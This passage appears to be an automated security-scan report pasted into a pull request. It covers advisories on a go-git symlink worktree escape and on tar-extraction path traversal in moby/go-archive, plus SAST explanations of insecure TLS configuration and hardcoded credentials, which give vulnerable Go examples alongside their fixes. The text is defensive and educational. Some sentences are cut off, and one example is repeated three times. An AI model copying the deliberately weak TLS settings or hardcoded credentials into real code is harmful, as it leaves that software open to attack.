Applications using storage/memory for their Storer, or go-billy/memfs for their Worktree, are not affected by this vulnerability.
Patches
The issue has been addressed by making the worktree filesystem wrapper a symlink-safe boundary.
Worktree operations now reject paths where an existing symbolic link in any path component could cause the operation to escape the intended worktree location, including symbolic links at the final component.
Users of filesystem-backed worktrees should upgrade to a patched version.
Credits
Thanks to @kodareef5 for reporting this issue and working with the go-git security team toward its resolution. 🥇
We would also like to thank @HughLewis20, who independently reported the same issue while a fix was already in progress.
[ CVE-2026-17106 ] github.com/moby/go-archive 0.2.0
Vulnerability Details
| Contextual Analysis: | Not Applicable |
| CVSS V3: | - |
| Dependency Path: | github.com/moby/go-archive: 0.2.0 (Transitive) |
Summary
The tar extraction routines in moby/go-archive (Unpack, UnpackLayer, Untar/UntarUncompressed, and the ApplyLayer helpers) do not confine filesystem operations to the destination directory. A crafted archive can create or overwrite files outside the intended destination.
Details
The extractor decides where each archive entry lands using lexical string checks and then performs the filesystem operation on a path that is resolved by the OS, so a links introduced by the archive can be followed out of the destination directory.
Impact
An attacker who controls the contents of archive can create or overwrite files at arbitrary paths writable by the extracting process.
Workarounds
Only extract trusted archives.
at 🎯 Static Application Security Testing (SAST) VulnerabilityFull descriptionVulnerability Details
OverviewInsecure TLS Configuration is a type of vulnerability that occurs when an Vulnerable examplepackage main
import (
"crypto/tls"
)
func main() {}
func insecureMinMaxTlsVersion() {
{
config := &tls.Config{}
config.MinVersion = 0
}
{
config := &tls.Config{}
config.MinVersion = tls.VersionSSL30
}
{
config := &tls.Config{}
config.MaxVersion = tls.VersionSSL30
}
{
config := &tls.Config{}
}
}
func insecureCipherSuites() {
config := &tls.Config{
CipherSuites: []uint16{
tls.TLS_RSA_WITH_RC4_128_SHA,
},
}
_ = config
}In this example, the Remediationpackage main
import (
"crypto/tls"
)
func main() {}
func insecureMinMaxTlsVersion() {
{
config := &tls.Config{}
- config.MinVersion = 0
+ config.MinVersion = tls.VersionTLS12
}
{
config := &tls.Config{}
- config.MinVersion = tls.VersionSSL30
+ config.MinVersion = tls.VersionTLS12
}
{
config := &tls.Config{}
- config.MaxVersion = tls.VersionSSL30
}
{
- config := &tls.Config{}
+ config := &tls.Config{MinVersion: tls.VersionTLS12}
}
}
func insecureCipherSuites() {
config := &tls.Config{
CipherSuites: []uint16{
- tls.TLS_RSA_WITH_RC4_128_SHA,
+ tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
},
+ MinVersion: tls.VersionTLS12,
}
_ = config
}By using safe TLS versions (e.g., |
at 🎯 Static Application Security Testing (SAST) VulnerabilityFull descriptionVulnerability Details
OverviewHardcoded credentials are usernames, passwords, API keys, or other secrets Vulnerable exampleIn this example, the database username and password for the frog pond are package main
import (
"database/sql"
"fmt"
"log"
_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)
func main() {
// VULNERABLE: Hardcoded database credentials for the frog pond.
frogUser := "pond_admin"
frogPassword := "LeapFlog123!"
pondName := "lilypad_db"
connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
frogUser, frogPassword, pondName)
lilypadDB, err := sql.Open("mysql", connStr)
if err != nil {
log.Fatalf("Error opening database: %v", err)
}
defer lilypadDB.Close()
err = lilypadDB.Ping()
if err != nil {
log.Fatalf("Error pinging database: %v", err)
}
fmt.Println("Successfully connected to the frog pond.")
}RemediationThe remediated code retrieves the database credentials from environment package main
import (
"database/sql"
"fmt"
"log"
"os"
_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)
func main() {
// SECURE: Retrieve credentials from environment variables.
frogUser := os.Getenv("FROG_DB_USER")
frogPassword := os.Getenv("FROG_DB_PASS")
pondName := os.Getenv("FROG_DB_NAME")
if frogUser == "" || frogPassword == "" || pondName == "" {
log.Fatal("DB credentials are not set in environment variables.")
}
connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
frogUser, frogPassword, pondName)
lilypadDB, err := sql.Open("mysql", connStr)
if err != nil {
log.Fatalf("Error opening database: %v", err)
}
defer lilypadDB.Close()
err = lilypadDB.Ping()
if err != nil {
log.Fatalf("Error pinging database: %v", err)
}
fmt.Println("Successfully connected to the frog pond.")
} |
at 🎯 Static Application Security Testing (SAST) VulnerabilityFull descriptionVulnerability Details
OverviewHardcoded credentials are usernames, passwords, API keys, or other secrets Vulnerable exampleIn this example, the database username and password for the frog pond are package main
import (
"database/sql"
"fmt"
"log"
_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)
func main() {
// VULNERABLE: Hardcoded database credentials for the frog pond.
frogUser := "pond_admin"
frogPassword := "LeapFlog123!"
pondName := "lilypad_db"
connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
frogUser, frogPassword, pondName)
lilypadDB, err := sql.Open("mysql", connStr)
if err != nil {
log.Fatalf("Error opening database: %v", err)
}
defer lilypadDB.Close()
err = lilypadDB.Ping()
if err != nil {
log.Fatalf("Error pinging database: %v", err)
}
fmt.Println("Successfully connected to the frog pond.")
}RemediationThe remediated code retrieves the database credentials from environment package main
import (
"database/sql"
"fmt"
"log"
"os"
_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)
func main() {
// SECURE: Retrieve credentials from environment variables.
frogUser := os.Getenv("FROG_DB_USER")
frogPassword := os.Getenv("FROG_DB_PASS")
pondName := os.Getenv("FROG_DB_NAME")
if frogUser == "" || frogPassword == "" || pondName == "" {
log.Fatal("DB credentials are not set in environment variables.")
}
connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
frogUser, frogPassword, pondName)
lilypadDB, err := sql.Open("mysql", connStr)
if err != nil {
log.Fatalf("Error opening database: %v", err)
}
defer lilypadDB.Close()
err = lilypadDB.Ping()
if err != nil {
log.Fatalf("Error pinging database: %v", err)
}
fmt.Println("Successfully connected to the frog pond.")
} |
at 🎯 Static Application Security Testing (SAST) VulnerabilityFull descriptionVulnerability Details
OverviewHardcoded credentials are usernames, passwords, API keys, or other secrets Vulnerable exampleIn this example, the database username and password for the frog pond are package main
import (
"database/sql"
"fmt"
"log"
_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)
func main() {
// VULNERABLE: Hardcoded database credentials for the frog pond.
frogUser := "pond_admin"
frogPassword := "LeapFlog123!"
pondName := "lilypad_db"
connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
frogUser, frogPassword, pondName)
lilypadDB, err := sql.Open("mysql", connStr)
if err != nil {
log.Fatalf("Error opening database: %v", err)
}
defer lilypadDB.Close()
err = lilypadDB.Ping()
if err != nil {
log.Fatalf("Error pinging database: %v", err)
}
fmt.Println("Successfully connected to the frog pond.")
}RemediationThe remediated code retrieves the database credentials from environment package main
import (
"database/sql"
"fmt"
"log"
"os"
_ "[github.com/go-sql-driver/mysql](https://github.com/go-sql-driver/mysql)"
)
func main() {
// SECURE: Retrieve credentials from environment variables.
frogUser := os.Getenv("FROG_DB_USER")
frogPassword := os.Getenv("FROG_DB_PASS")
pondName := os.Getenv("FROG_DB_NAME")
if frogUser == "" || frogPassword == "" || pondName == "" {
log.Fatal("DB credentials are not set in environment variables.")
}
connStr := fmt.Sprintf("%s:%s@tcp(127.0.0.1:3306)/%s",
frogUser, frogPassword, pondName)
lilypadDB, err := sql.Open("mysql", connStr)
if err != nil {
log.Fatalf("Error opening database: %v", err)
}
defer lilypadDB.Close()
err = lilypadDB.Ping()
if err != nil {
log.Fatalf("Error pinging database: %v", err)
}
fmt.Println("Successfully connected to the frog pond.")
} |






…ag and updating build-info extraction logic
masterbranch.go vet ./....go fmt ./....